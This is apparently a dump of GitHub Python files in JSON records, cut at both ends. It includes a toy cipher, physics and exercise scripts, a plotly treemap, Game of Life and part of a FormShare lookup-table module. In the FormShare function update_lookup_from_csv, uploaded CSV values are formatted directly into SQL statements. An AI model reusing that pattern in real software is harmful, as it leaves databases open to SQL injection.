oW=rtry[1][ord(a[1])-32]\n for y in range(0,len(text)):\n oW=f_encrypt(oW,text[y],rtry)\n final=final+oW\n return final\n\ndef axde_algorithm(text,keyNumber):\n a,rtry,final=keyComplier(keyNumber)[1],keyComplier(keyNumber)[0],''\n oW=rtry[1][ord(a[1])-32]\n for y in range(0,len(text)):\n nW=text[y]\n final=final+f_decrypt(oW,nW,rtry)\n oW=text[y]\n return final\n\ndef keyComplier(fileNumber):\n fileName,keyList='key'+str(fileNumber)+'.ax',[[],[]]\n try:\n with open(fileName,\"r\",encoding=\"utf-8\") as file: json_data=load(file)\n if json_data[\"algorithm\"]==\"AX45-S\" and json_data[\"layer\"] == 1:\n for x in range(1,len(json_data[\"key\"].keys())+1): keyList[0].append(str(x)),keyList[1].append(json_data[\"key\"][str(x)])\n return keyList, [keyList[0][0],keyList[1][0]]\n else:print(\"This key file is not compatible with this encryption\")\n except:print(\"Wrong key format!\")\n \ndef trans(text):\n source = \"şçöğüıŞÇÖĞÜİ\"\n target = \"scoguiSCOGUI\"\n translate_board = str.maketrans(source, target)\n return text.translate(translate_board)\n\ndef axen(text,keyNumber):\n text = trans(text)\n return axen_algorithm(axen_algorithm(text,keyNumber),keyNumber)\n\ndef axde(text,keyNumber):\n text = trans(text)\n return axde_algorithm(axde_algorithm(text,keyNumber),keyNumber)\n\ndef keyAnalyzer(fileNumber):\n fileName ='key'+str(fileNumber)+'.ax'\n try:\n with open(fileName,\"r\",encoding=\"utf-8\") as file: json_data=load(file)\n if json_data[\"algorithm\"]==\"AX45-S\" and json_data[\"layer\"] == 1:\n for x in range(1,95): print(\"{} - {}\".format(x, json_data[\"key\"][str(x)]))\n except:print(\"Wrong key format!\")","repo_name":"x3beche/GhostProtocol","sub_path":"sourceCode/v2 - current version/ax45sEngine/algorithms.py","file_name":"algorithms.py","file_ext":"py","file_size_in_byte":2237,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"53"} +{"seq_id":"15174600736","text":"from math import sqrt as sq, sin, acos, dist\n\n\ndef pythagoras(x, y):\n return sq(x ** 2 + y ** 2)\n\n\ndef program_inputs():\n def spaceship_speed():\n while True:\n spaceship_velocity = float(\n input(\n \"Enter velocity of spaceship as percentage of speed of light \")) / 100\n if 0 < spaceship_velocity < 1:\n break\n else:\n print(\"Invalid value\")\n return spaceship_velocity\n\n def distance_x():\n while True:\n distance_x_axis = float(input(\"Enter positive value for distance in light seconds along x axis:\"))\n if distance_x_axis > 0:\n break\n else:\n print(\"Invalid value\")\n return distance_x_axis\n\n def distance_y():\n while True:\n distance_y_axis = float(input(\"Enter positive value for distance in light seconds along y axis:\"))\n if distance_y_axis > 0:\n break\n else:\n print(\"Invalid value\")\n return distance_y_axis\n\n count_signals = abs(int(input(\"Enter how many signals to calculate (integer):\")))\n data_dict = {\"Velocity\": spaceship_speed(), \"Distance_x\": distance_x(), \"Distance_y\": distance_y(),\n \"Count_signals\": count_signals, \"Distance_between_mirrors\": 1}\n return data_dict\n\n\ndef coordinates_spaceship_signals_points(inputs_dict):\n x_coordinate_a = float(f'-{inputs_dict[\"Distance_x\"]:.2f}')\n y_coordinate_a = float(f'{inputs_dict[\"Distance_y\"]:.2f}')\n y_coordinate_b = y_coordinate_a + inputs_dict[\"Distance_between_mirrors\"]\n velocity = float(inputs_dict[\"Velocity\"])\n path_length_x = velocity / sin(acos(velocity)) # The path spaceship traveled along x_axis with given speed\n sequence_spaceship_points_of_signals_a = {\n 1: (x_coordinate_a, y_coordinate_a)} # Stores x and y coordinates of photon where it reaches mirror \"A\"\n sequence_spaceship_points_of_signals_b = {} # Stores x and y coordinates of photon where it reaches mirror \"B\"\n for i in range(inputs_dict[\"Count_signals\"]): # Fills the two dictionaries with data (x,y)\n x_coordinate_b = float(\n f'{sequence_spaceship_points_of_signals_a[i + 1][0] + path_length_x:.2f}')\n sequence_spaceship_points_of_signals_b[i + 1] = (x_coordinate_b, y_coordinate_b)\n x_coordinate_a = float(f'{sequence_spaceship_points_of_signals_b[i + 1][0] + path_length_x:.2f}')\n sequence_spaceship_points_of_signals_a[i + 2] = (x_coordinate_a, y_coordinate_a)\n dictionaries_list = [sequence_spaceship_points_of_signals_a, sequence_spaceship_points_of_signals_b]\n return dictionaries_list\n\n\ndef time_sequence_observer():\n dict_list = coordinates_spaceship_signals_points(program_inputs())\n print(dict_list)\n mirror_a_points = dict_list[0]\n del mirror_a_points[len(mirror_a_points)] # Delete the last member of mirror_a dictionary\n mirror_b_points = dict_list[1]\n time_factor = dist(mirror_a_points[1], mirror_b_points[1]) # calculates time dilation gamma factor\n time_intervals = [] # stores info about total time interval between signals from the spaceship as they are\n # received by the observer\n for i in range(len(mirror_a_points)):\n signal_from_a = dist(mirror_a_points[i + 1], (0, 0)) + 2 * i * time_factor\n signal_from_b = dist(mirror_b_points[i + 1], (0, 0)) + (2 * i + 1) * time_factor\n time_intervals.append(float(f'{signal_from_a:.2f}'))\n time_intervals.append(float(f'{signal_from_b:.2f}'))\n print(f'Signal {2 * i + 1}: {float(signal_from_a):.2f} Mirror A point: {mirror_a_points[i+1][0]}')\n print(\n f'Signal {2 * i + 2}: {float(signal_from_b):.2f} Difference: {abs(float(signal_from_a - signal_from_b)):.2f} '\n f'Mirror B point: {mirror_b_points[i+1][0]} ')\n diff = 0\n for i in range(len(time_intervals)-1):\n diff += time_intervals[i+1] - time_intervals[i]\n print(diff)\n\n\ntime_sequence_observer()\n","repo_name":"Kiril-Lazarov/Math-programs","sub_path":"Mirror thought experiment/mirror_experiment.py","file_name":"mirror_experiment.py","file_ext":"py","file_size_in_byte":4075,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"53"} +{"seq_id":"25654084842","text":"import time\nfrom inspect import iscoroutinefunction\n\n\ndef measuring_time(func):\n # 코루틴 체크 하는 함수\n if iscoroutinefunction(func):\n\n async def wrapps():\n s = time.time()\n name = func.__name__\n print(f\"함수 {name} 시작\")\n r = await func()\n e = time.time() - s\n print(f\"함수 로직 수행 시간: {e}\")\n print(f\"함수 {name} 끝\")\n return r\n\n else:\n\n def wrapps():\n s = time.time()\n name = func.__name__\n print(f\"함수 {name} 시작\")\n r = func()\n e = time.time() - s\n print(f\"함수 로직 수행 시간: {e}\")\n print(f\"함수 {name} 끝\")\n return r\n\n return wrapps\n","repo_name":"LeeSungGuk/flab-review","sub_path":"f-lab5/utils/decorator.py","file_name":"decorator.py","file_ext":"py","file_size_in_byte":789,"program_lang":"python","lang":"ko","doc_type":"code","stars":0,"dataset":"github-code","pt":"53"} +{"seq_id":"41675033514","text":"# Úkol 0 - Napiš fci, která pro argumentem zadané číslo n vytvoří a vrátí slovník, kde jako klíče budou čísla od jedné\n# do n a jako hodnoty k nim jejich druhé mocniny\n\n# Úkol 1 - Napiš fci, která sečte a vrátí sumu všech klíčů a sumu všech hodnot ve slovníku, který dostane jako argument\n# K vyzkoušení můžeš použít slovník z minulé úlohy\n\n# Úkol 2 - Napiš fci, která jako argument dostane řetězec a vrátí slovník, ve kterém budou jako klíče jednotlivé znaky\n# ze zadaného řetězce a jako hodnoty počty výskytů těchto znaků v řetězci\n\n# úkol 3 - Napiš fci, která vypíše obsah slovníku (klíče a k nim náležící hodnoty) na jednotlivé řádky.\n# Fci, která něco vypisuje, je vhodné pojmenovat speciálně, zde třeba vypis_slovnik(), aby bylo jasné, že jen\n# vypisuje a nic nevrací.\n\n\ndef get_dictionary_number_power(n):\n number_power_dict = {}\n for i in range(1, n + 1):\n number_power_dict[i] = i ** 2\n return number_power_dict\n\n\ndef count_sum_keys_values(dictionary):\n keys_values_sum = dict(dictionary) # pro zachování původního vytvořen nový dict\n return sum(keys_values_sum.keys()), sum(keys_values_sum.values())\n\n\ndef make_dict_from_str(string):\n dictionary = {}\n for char in string:\n dictionary[char] = dictionary.get(char, 0) + 1\n # d.get(k, h) = výběr, h pokud záznam neexistuje - pokud nebude + 1 value == 0\n return dictionary\n\n\ndef print_dictionary(dictionary):\n for key, value in dictionary.items():\n print(\"{}: {}\".format(key, value))\n\n\ndef get_input():\n i = int(input(\"Write whole number (integer): \"))\n if i < 0:\n raise Exception(\"Number has not to be negative!\")\n return i\n\n\ndef check_input():\n while True:\n try:\n i = get_input()\n except Exception as e:\n print(\"chyba: \", e)\n else:\n print(\"OK:\", i)\n return i\n\n\nprint(get_dictionary_number_power(check_input()))\nprint(count_sum_keys_values(get_dictionary_number_power(check_input())))\nprint(make_dict_from_str(\"Moje dcera má ráda čokoládu!\"))\nletter_occurrence = {'M': 1, 'o': 3, 'j': 1, 'e': 2, ' ': 4, 'd': 3, 'c': 1, 'r': 2, 'a': 2, 'm': 1, 'á': 3}\nprint_dictionary(letter_occurrence)\n","repo_name":"MartyRadka/cviceniPython","sub_path":"programs/slovniky.py","file_name":"slovniky.py","file_ext":"py","file_size_in_byte":2285,"program_lang":"python","lang":"cs","doc_type":"code","stars":0,"dataset":"github-code","pt":"53"} +{"seq_id":"16370208829","text":"import pandas as pd\nimport numpy as np\nimport plotly.graph_objects as go\nimport os\n\nTHIS_FOLDER = os.path.dirname(os.path.abspath(__file__))\n\n__df = pd.read_csv(os.path.join(THIS_FOLDER, 'data', 'ceidg_data_formated.csv'))\n__pkd_names = pd.read_csv(os.path.join(THIS_FOLDER, 'data', 'pkd_data.csv'), encoding='UTF-8')\n\n\ndef __build_hierarchical_dataframe(df, pkd_names, levels, value_column, color_columns=None):\n \"\"\"\n Build a hierarchy of levels for Sunburst or Treemap charts.\n\n Levels are given starting from the bottom to the top of the hierarchy,\n ie the last level corresponds to the root.\n \"\"\"\n df_all_trees = pd.DataFrame(columns=['id', 'parent', 'value', 'color'])\n for i, level in enumerate(levels):\n df_tree = pd.DataFrame(columns=['id', 'parent', 'value', 'color'])\n dfg = df.groupby(levels[:i + 1]).sum()\n dfg = dfg.reset_index()\n df_tree['id'] = dfg[level].copy()\n df_tree.id = df_tree.id.astype(str).str.replace(r'\\.[0-9]*', '')\n df_tree = df_tree.merge(pkd_names \\\n .loc[pkd_names.typ == level],\n left_on='id',\n right_on='symbol'\n )\n if i > 0:\n df_tree['parent'] = dfg[levels[i - 1]].copy()\n else:\n df_tree['parent'] = 'Wszystkie sekcje PKD'\n df_tree['value'] = dfg[value_column]\n df_tree['color'] = df.groupby(levels[:i + 1]).median().reset_index()[color_columns[0]]\n df_all_trees = df_all_trees.append(df_tree, ignore_index=True)\n total = pd.Series(dict(id='Wszystkie sekcje PKD', parent='',\n value=df[value_column].sum(),\n color=df[color_columns[0]].median(),\n nazwa=''))\n df_all_trees = df_all_trees.append(total, ignore_index=True)\n return df_all_trees\n\n\ndef __format_strings(df_all_trees):\n df_all_trees = df_all_trees \\\n .assign(years=df_all_trees.color // 12,\n months=df_all_trees.color % 12)\n df_all_trees = df_all_trees \\\n .assign( \\\n years=np.where(df_all_trees.years == 0,\n '',\n np.where(np.isin(df_all_trees.years, [1]),\n '1 rok',\n np.where(np.isin(df_all_trees.years, [2, 3, 4]),\n df_all_trees.years.astype(int).astype(str) + ' lata',\n df_all_trees.years.astype(int).astype(str) + ' lat')\n )\n ),\n months=np.where(df_all_trees.months == 0,\n '',\n np.where(np.isin(df_all_trees.months, [1]),\n ', 1 miesiąc',\n np.where(np.isin(df_all_trees.months, [2, 3, 4]),\n ', ' + df_all_trees.months.astype(int).astype(str) + ' miesiące',\n ', ' + df_all_trees.months.astype(int).astype(str) + ' miesięcy')\n )\n )\n )\n\n df_all_trees = df_all_trees.assign(\n id=np.where(\n df_all_trees.typ == 'PKDMainSection',\n 'Sekcja ',\n np.where(\n df_all_trees.typ == 'PKDMainDivision',\n 'Dywizja ',\n np.where(\n df_all_trees.typ == 'PKDMainGroup',\n 'Grupa ',\n np.where(\n df_all_trees.id == 'Wszystkie sekcje PKD',\n '',\n 'Klasa '\n )\n )\n )\n ) + df_all_trees.id\n )\n\n df_all_trees = df_all_trees.assign(\n parent=np.where(\n df_all_trees.typ == 'PKDMainDivision',\n 'Sekcja ',\n np.where(\n df_all_trees.typ == 'PKDMainGroup',\n 'Dywizja ',\n np.where(\n df_all_trees.typ == 'PKDMainClass',\n 'Grupa ',\n np.where(\n df_all_trees.id == 'Wszystkie sekcje PKD',\n '',\n ''\n )\n )\n )\n ) + df_all_trees.parent\n )\n\n return df_all_trees\n\n\ndef build_pkd_treemap(voivodeship=[]):\n df = __df\n\n if voivodeship is not None and voivodeship != []:\n df = df.loc[np.isin(df.MainAddressVoivodeship, voivodeship), :].reset_index(drop=False)\n\n pkd_names = __pkd_names\n\n levels = ['PKDMainSection',\n 'PKDMainDivision'] # levels used for the hierarchical chart\n color_columns = ['DurationOfExistenceInMonths']\n value_column = 'Count'\n\n df_all_trees = __build_hierarchical_dataframe(df, pkd_names, levels, value_column, color_columns)\n\n df_all_trees = __format_strings(df_all_trees)\n\n median_duration = df_all_trees['color'].median()\n max_duration = df_all_trees['color'].max()\n\n pkd_fig = go.Figure(go.Treemap(\n labels=df_all_trees['id'],\n parents=df_all_trees['parent'],\n values=df_all_trees['value'],\n branchvalues='total',\n marker=dict(\n colors=df_all_trees['color'],\n colorscale='balance',\n cmax=max_duration,\n cmid=median_duration,\n colorbar=dict(thickness=20, title='Przetrwane miesiące', titleside='right')),\n maxdepth=2,\n # texttemplate = \"%{label}
%%{customdata[2]}<\\b>
\",\n customdata=df_all_trees[['years', 'months', 'nazwa']],\n hovertemplate='%{label}
%{customdata[2]}
- Liczba firm: %{value}
- Czas życia przeciętnej firmy: %{customdata[0]}%{customdata[1]}',\n name=''\n ))\n\n pkd_fig.update_layout(\n title={\n 'text': \"Czas życia przeciętnej firmy\",\n 'y': 0.9,\n 'x': 0.5,\n 'xanchor': 'center',\n 'yanchor': 'top'\n },\n margin=dict(l=20, r=20, t=70, b=20),\n )\n\n return pkd_fig\n","repo_name":"wawrzenczyka/WD2","sub_path":"treemap_helper.py","file_name":"treemap_helper.py","file_ext":"py","file_size_in_byte":6163,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"53"} +{"seq_id":"70334929127","text":"keywords=[\"auto\",\"break\",\"case\",\"char\",\"const\",\"continue\",\"default\",\"do\",\"double\",\r\n \"else\",\"float\",\"for\",\"goto\",\"if\",\"int\",\"long\",\"main\",\"return\",\"short\",\r\n \"signed\",\"sizeof\",\"static\",\"stuct\",\"switch\",\"typedef\",\"union\",\"unsigned\",\"void\",\"while\"]\r\n\r\n\r\noperators=[\"+\",\"-\",\"*\",\"/\",\"%\",\"++\",\"--\",\"==\",\"!=\",\">\",\">=\",\"<\",\"<=\",\"&&\",\"||\",\"!\",\"&\"\r\n ,\"|\",\"^\",\"~\",\"<<\",\">>\",\"=\",\"+=\",\"-=\",\"*=\",\"/=\",\"%=\"]\r\n\r\npunctuations=[\";\", \"(\", \")\", \"{\", \"}\", \"[\", \"]\"]\r\n\r\nnumbers=[\"0\",\"1\",\"2\",\"3\",\"4\",\"5\",\"6\",\"7\",\"8\",\"9\"]\r\n\r\ntxt_file=open(\"sum_c.txt\", 'r')\r\ntext=txt_file.readlines()\r\n\r\n\r\ndef is_number(n):\r\n try:\r\n int(n)\r\n return True\r\n except:\r\n return False\r\n\r\nfor line in text:\r\n for i in line.strip().split(\" \"):\r\n\r\n if i in keywords:\r\n print(i,\" belongs to keyword.\")\r\n \r\n elif i in operators:\r\n print(i,\" belongs to an operator.\")\r\n\r\n elif i in punctuations:\r\n print(i,\" belongs to punctuations.\")\r\n \r\n elif is_number(i):\r\n print(i,\" belomgs to number.\")\r\n\r\n else:\r\n print(i,\" is an identifier.\")\r\n","repo_name":"commanman0/cd","sub_path":"lex_ana.py","file_name":"lex_ana.py","file_ext":"py","file_size_in_byte":1150,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"53"} +{"seq_id":"35321595142","text":"def mat2tuples(cells):\n \"\"\" Given cells represented in a matrix, return a list of positions (i,j) with live cells\"\"\"\n return [(i, j) for i, row in enumerate(cells) for j, col in enumerate(row) if col]\n\ndef get_neighbors(t):\n x, y = t\n return [(x - 1, y - 1), (x - 1, y), (x - 1, y + 1),\n (x, y - 1), (x, y + 1), (x + 1, y - 1),\n (x + 1, y), (x + 1, y + 1)]\n\ndef count_live_neighbors(position_tuple, all_live_tuples):\n \"\"\" given a tuple, count how many its neighbors are alive \"\"\"\n return len(set(get_neighbors(position_tuple)) & set(all_live_tuples))\n\ndef one_generation(all_live_tuples):\n \"\"\" one generation of evolution by rule \"\"\"\n if not all_live_tuples:\n return []\n\n # pass 1 check all live cells in current generation, and collect all neighboring dead cells\n new_gen = list()\n dead_neighbor_cells = list()\n for cell in all_live_tuples:\n dead_neighbor_cells.extend([t for t in get_neighbors(cell) if t not in all_live_tuples])\n if 2 <= count_live_neighbors(cell, all_live_tuples) <= 3:\n new_gen.append(cell)\n\n # pass 2, check dead cells adjacent to current live cells\n for cell in set(dead_neighbor_cells):\n if count_live_neighbors(cell, all_live_tuples) == 3:\n new_gen.append(cell)\n\n # order the output by y, then by x\n return sorted(new_gen, key=lambda x: (x[1], x[0]))\n\ndef life_counter(state, tick_n):\n \"\"\" evolve a specific generations \"\"\"\n curr = mat2tuples(state)\n for _ in range(tick_n):\n curr = one_generation(curr)\n return len(curr)\n\nif __name__ == '__main__':\n assert life_counter(((0, 1, 0),\n (0, 0, 1),\n (1, 1, 1)), 50) == 5, \"Glider\"\n #These \"asserts\" using only for self-checking and not necessary for auto-testing\n assert life_counter(((0, 1, 0, 0, 0, 0, 0),\n (0, 0, 1, 0, 0, 0, 0),\n (1, 1, 1, 0, 0, 0, 0),\n (0, 0, 0, 0, 0, 1, 1),\n (0, 0, 0, 0, 0, 1, 1),\n (0, 0, 0, 0, 0, 0, 0),\n (1, 1, 1, 0, 0, 0, 0)), 4) == 15, \"Example\"\n assert life_counter(((0, 1, 0, 0, 0, 0, 0),\n (0, 0, 1, 0, 0, 0, 0),\n (1, 1, 1, 0, 0, 0, 0),\n (0, 0, 0, 0, 0, 1, 1),\n (0, 0, 0, 0, 0, 1, 1),\n (0, 0, 0, 0, 0, 0, 0),\n (1, 1, 1, 0, 0, 0, 0)), 15) == 14, \"Little later\"\n\n assert life_counter(((1, 1, 0, 1, 1),\n (1, 1, 0, 1, 1),\n (0, 0, 0, 0, 0),\n (1, 1, 0, 1, 1),\n (1, 1, 0, 1, 1)), 100) == 16, \"Stones\"\n","repo_name":"qpxu007/python-snippets","sub_path":"checkio/life-counter.py","file_name":"life-counter.py","file_ext":"py","file_size_in_byte":2782,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"53"} +{"seq_id":"38129699491","text":"import logging\nimport os\nimport uuid\nfrom sqlalchemy import create_engine\nfrom sqlalchemy.pool import NullPool\nfrom sqlalchemy.orm.session import Session\nfrom formshare.models import DictTable, DictField, map_from_schema, map_to_schema\nfrom formshare.processes.db.form import get_form_xml_create_file\nfrom lxml import etree\nfrom sqlalchemy.exc import IntegrityError\n\n__all__ = [\n \"update_dictionary_tables\",\n \"get_dictionary_fields\",\n \"get_dictionary_table_desc\",\n \"get_dictionary_tables\",\n \"update_dictionary_table_desc\",\n \"update_dictionary_field_desc\",\n \"update_dictionary_field_sensitive\",\n \"is_file_a_lookup\",\n \"get_name_and_label_from_file\",\n \"update_lookup_from_csv\",\n \"get_references_from_file\",\n]\n\nlog = logging.getLogger(\"formshare\")\n\n\ndef update_lookup_from_csv(\n request, user_id, project_id, form_id, form_schema, file_name, dataframe\n):\n uid = str(uuid.uuid4())\n uid = \"TMP_\" + uid.replace(\"-\", \"_\")\n field_type, field_size = get_type_and_size_from_file(\n request, project_id, form_id, file_name\n )\n if field_type == \"varchar\":\n sql = \"CREATE TABLE {}.{} (var_code {}({}) PRIMARY KEY, var_label text)\".format(\n form_schema, uid, field_type, field_size\n )\n else:\n sql = \"CREATE TABLE {}.{} (var_code {} PRIMARY KEY, var_label text)\".format(\n form_schema, uid, field_type\n )\n\n sql_url = request.registry.settings.get(\"sqlalchemy.url\")\n engine = create_engine(sql_url, poolclass=NullPool)\n session = Session(bind=engine)\n temp_table_created = False\n try:\n session.execute(sql)\n temp_table_created = True\n name, label = get_name_and_label_from_file(\n request, project_id, form_id, file_name\n )\n for ind in dataframe.index:\n sql = \"INSERT INTO {}.{} (var_code, var_label) VALUES ('{}', '{}')\".format(\n form_schema, uid, dataframe[name][ind], dataframe[label][ind]\n )\n session.execute(sql)\n\n rel_table, rel_field = get_references_from_file(\n request, project_id, form_id, file_name\n )\n rel_field_desc = rel_field.replace(\"_cod\", \"_des\")\n\n # Update the descriptions\n session.execute(\"SET @odktools_current_user = '\" + user_id + \"'\")\n sql = \"UPDATE {}.{} TA, {}.{} TB SET TA.{} = TB.var_label WHERE TA.{} = TB.var_code\".format(\n form_schema, rel_table, form_schema, uid, rel_field_desc, rel_field\n )\n session.execute(sql)\n # Delete items that do not exist\n sql = \"DELETE IGNORE FROM {}.{} WHERE {} NOT IN (SELECT var_code FROM {}.{})\".format(\n form_schema, rel_table, rel_field, form_schema, uid\n )\n session.execute(sql)\n\n # Insert new items\n sql = \"INSERT IGNORE INTO {}.{} ({},{}) SELECT var_code, var_label FROM {}.{}\".format(\n form_schema, rel_table, rel_field, rel_field_desc, form_schema, uid\n )\n session.execute(sql)\n\n sql = \"DROP TABLE {}.{}\".format(form_schema, uid)\n session.execute(sql)\n\n session.commit()\n engine.dispose()\n\n return True, \"\"\n except Exception as e:\n if temp_table_created:\n sql = \"DROP TABLE {}.{}\".format(form_schema, uid)\n session.execute(sql)\n session.commit()\n engine.dispose()\n log.error(\"Unable to upload lookup connected to CSV. Error: {}\".format(str(e)))\n return False, str(e)\n\n\ndef is_file_a_lookup(request, project_id, form_id, file_name):\n \"\"\"\n Returns whether a CSV files is linked to a lookup table\n :param request: Pyramid request object\n :param project_id: Project ID\n :param form_id: Form ID\n :param file_name: CSV file\n \"\"\"\n res = (\n request.dbsession.query(DictField.field_rlookup)\n .filter(DictField.project_id == project_id)\n .filter(DictField.form_id == form_id)\n .filter(DictField.field_externalfilename == file_name)\n .filter(DictField.field_rlookup == 1)\n .first()\n )\n if res is not None:\n return True\n else:\n return False\n\n\ndef get_references_from_file(request, project_id, form_id, file_name):\n \"\"\"\n Return the size of the code column of a CSV file used by a form\n :param request: Pyramid request object\n :param project_id: Project ID\n :param form_id: Form ID\n :param file_name: CSV file\n \"\"\"\n res = (\n request.dbsession.query(DictField.field_rtable, DictField.field_rfield)\n .filter(DictField.project_id == project_id)\n .filter(DictField.form_id == form_id)\n .filter(DictField.field_externalfilename == file_name)\n .filter(DictField.field_rlookup == 1)\n .first()\n )\n return res.field_rtable, res.field_rfield\n\n\ndef get_type_and_size_from_file(request, project_id, form_id, file_name):\n \"\"\"\n Return the size of the code column of a CSV file used by a form\n :param request: Pyramid request object\n :param project_id: Project ID\n :param form_id: Form ID\n :param file_name: CSV file\n \"\"\"\n res = (\n request.dbsession.query(DictField.field_type, DictField.field_size)\n .filter(DictField.project_id == project_id)\n .filter(DictField.form_id == form_id)\n .filter(DictField.field_externalfilename == file_name)\n .filter(DictField.field_rlookup == 1)\n .first()\n )\n return res.field_type, res.field_size\n\n\ndef get_name_and_label_from_file(request, project_id, form_id, file_name):\n \"\"\"\n Return the name and label column of a CSV file used by a form\n :param request: Pyramid request object\n :param project_id: Project ID\n :param form_id: Form ID\n :param file_name: CSV file\n \"\"\"\n res = (\n request.dbsession.query(DictField.field_codecolumn, DictField.field_desccolumn)\n .filter(DictField.project_id == project_id)\n .filter(DictField.form_id == form_id)\n .filter(DictField.field_externalfilename == file_name)\n .filter(DictField.field_rlookup == 1)\n .first()\n )\n return res.field_codecolumn, res.field_desccolumn\n\n\ndef update_dictionary_field_sensitive(\n request, project, form, table, field, sensitive, protection\n):\n \"\"\"\n Update the sensitivity of a field in the database\n :param request: Pyramid request object\n :param project: Project ID\n :param form: Form ID\n :param table: Table name\n :param field: Field Name\n :param sensitive: New sensitivity\n :param protection: New type of protection\n :return: True or False\n \"\"\"\n try:\n update_dict = {\"field_sensitive\": sensitive}\n if sensitive == 1:\n update_dict[\"field_protection\"] = protection\n else:\n update_dict[\"field_protection\"] = \"None\"\n request.dbsession.query(DictField).filter(\n DictField.project_id == project\n ).filter(DictField.form_id == form).filter(\n DictField.table_name == table\n ).filter(\n DictField.field_name == field\n ).update(\n update_dict\n )\n request.dbsession.flush()\n return True\n except Exception as e:\n log.error(\n \"Error {} while updating description \"\n \"for field {} in table {} in form {} of project {}\".format(\n str(e), field, table, form, project\n )\n )\n return False\n\n\ndef update_dictionary_field_desc(request, project, form, table, field, new_metadata):\n \"\"\"\n Update the description of a Field\n :param request: Pyramid request object\n :param project: Project ID\n :param form: Form ID\n :param table: Table name\n :param field: Field Name\n :param new_metadata: New metadata\n :return: True or False\n \"\"\"\n try:\n mapped_data = map_to_schema(DictField, new_metadata)\n request.dbsession.query(DictField).filter(\n DictField.project_id == project\n ).filter(DictField.form_id == form).filter(\n DictField.table_name == table\n ).filter(\n DictField.field_name == field\n ).update(\n mapped_data\n )\n request.dbsession.flush()\n return True\n except Exception as e:\n log.error(\n \"Error {} while updating description \"\n \"for field {} in table {} in form {} of project {}\".format(\n str(e), field, table, form, project\n )\n )\n return False\n\n\ndef update_dictionary_table_desc(request, project, form, table, description):\n \"\"\"\n Update the description of a table\n :param request: Pyramid request object\n :param project: Project ID\n :param form: Form ID\n :param table: Table name\n :param description: New description\n :return: True or False\n \"\"\"\n try:\n request.dbsession.query(DictTable).filter(\n DictTable.project_id == project\n ).filter(DictTable.form_id == form).filter(\n DictTable.table_name == table\n ).update(\n {\"table_desc\": description}\n )\n request.dbsession.flush()\n return True\n except Exception as e:\n log.error(\n \"Error {} while updating description \"\n \"for table {} in form {} of project {}\".format(str(e), table, form, project)\n )\n return False\n\n\ndef get_dictionary_tables(request, project, form, table_type):\n \"\"\"\n Returns all tables as an array with their information\n :param request: Pyramid request object\n :param project: Project ID\n :param form: Form ID\n :param table_type: Type of table to return: None=All, 1= Data tables, 2= Lookup tables\n :return: Array of dict elements or empty array\n \"\"\"\n if table_type is None:\n res = (\n request.dbsession.query(DictTable)\n .filter(DictTable.project_id == project)\n .filter(DictTable.form_id == form)\n .order_by(DictTable.table_index)\n .all()\n )\n return map_from_schema(res)\n if table_type == 1:\n res = (\n request.dbsession.query(DictTable)\n .filter(DictTable.project_id == project)\n .filter(DictTable.form_id == form)\n .filter(DictTable.table_lkp == 0)\n .order_by(DictTable.table_index)\n .all()\n )\n return map_from_schema(res)\n if table_type == 2:\n res = (\n request.dbsession.query(DictTable)\n .filter(DictTable.project_id == project)\n .filter(DictTable.form_id == form)\n .filter(DictTable.table_lkp == 1)\n .order_by(DictTable.table_index)\n .all()\n )\n return map_from_schema(res)\n return []\n\n\ndef get_dictionary_table_desc(request, project, form, table):\n \"\"\"\n Return the description of a table in the DB\n :param request: Pyramid request object\n :param project: Project ID\n :param form: Form ID\n :param table: Table name\n :return: Table description or None\n \"\"\"\n return (\n request.dbsession.query(DictTable.table_desc)\n .filter(DictTable.project_id == project)\n .filter(DictTable.form_id == form)\n .filter(DictTable.table_name == table)\n .first()\n )\n\n\ndef get_dictionary_fields(request, project, form, table):\n \"\"\"\n Get the fields of a table from the DB as a array of dict\n :param request: Pyramid request\n :param project: Project ID\n :param form: Form ID\n :param table: Table name\n :return: Array of dict fields\n \"\"\"\n res = (\n request.dbsession.query(DictField)\n .filter(DictField.project_id == project)\n .filter(DictField.form_id == form)\n .filter(DictField.table_name == table)\n .order_by(DictField.field_index)\n .all()\n )\n return map_from_schema(res)\n\n\ndef update_dictionary_tables(request, project, form): # pragma: no cover\n \"\"\"\n Update the dictionary tables in the DB using a create XML file.\n This function has no coverage because it is used by old version of FormShare\n to move the dictionary tables from XML files to database\n :param request: Pyramid request object\n :param project: Project ID\n :param form: Form ID\n :return: True if update happened, False if error\n \"\"\"\n\n def create_new_field_dict(a_table, a_field):\n field_desc = a_field.get(\"desc\", \"\")\n field_rlookup = a_field.get(\"rlookup\", \"false\")\n if field_rlookup == \"true\":\n field_rlookup = 1\n else:\n field_rlookup = 0\n field_key = a_field.get(\"key\", \"false\")\n if field_key == \"true\":\n field_key = 1\n else:\n field_key = 0\n field_sensitive = a_field.get(\"sensitive\", \"false\")\n if field_sensitive == \"true\":\n field_sensitive = 1\n else:\n field_sensitive = 0\n new_field_dict = {\n \"project_id\": project,\n \"form_id\": form,\n \"table_name\": a_table.get(\"name\"),\n \"field_name\": a_field.get(\"name\"),\n \"field_desc\": field_desc,\n \"field_key\": field_key,\n \"field_xmlcode\": a_field.get(\"xmlcode\"),\n \"field_type\": a_field.get(\"type\"),\n \"field_odktype\": a_field.get(\"odktype\"),\n \"field_rtable\": a_field.get(\"rtable\"),\n \"field_rfield\": a_field.get(\"rfield\"),\n \"field_rlookup\": field_rlookup,\n \"field_rname\": a_field.get(\"rname\"),\n \"field_selecttype\": a_field.get(\"selecttype\"),\n \"field_externalfilename\": a_field.get(\"externalfilename\"),\n \"field_codecolumn\": a_field.get(\"codeColumn\"),\n \"field_desccolumn\": a_field.get(\"descColumn\"),\n \"field_size\": a_field.get(\"size\", 0),\n \"field_decsize\": a_field.get(\"decsize\", 0),\n \"field_sensitive\": field_sensitive,\n \"field_protection\": a_field.get(\"protection\"),\n }\n if a_field.get(\"selecttype\") == \"2\":\n if new_field_dict[\"field_externalfilename\"].upper().find(\".CSV\") == -1:\n new_field_dict[\"field_externalfilename\"] = (\n new_field_dict[\"field_externalfilename\"] + \".csv\"\n )\n return new_field_dict\n\n def store_tables(element, lookup):\n # Process tables\n tables = element.findall(\".//table\")\n if tables:\n for table in tables:\n res = (\n 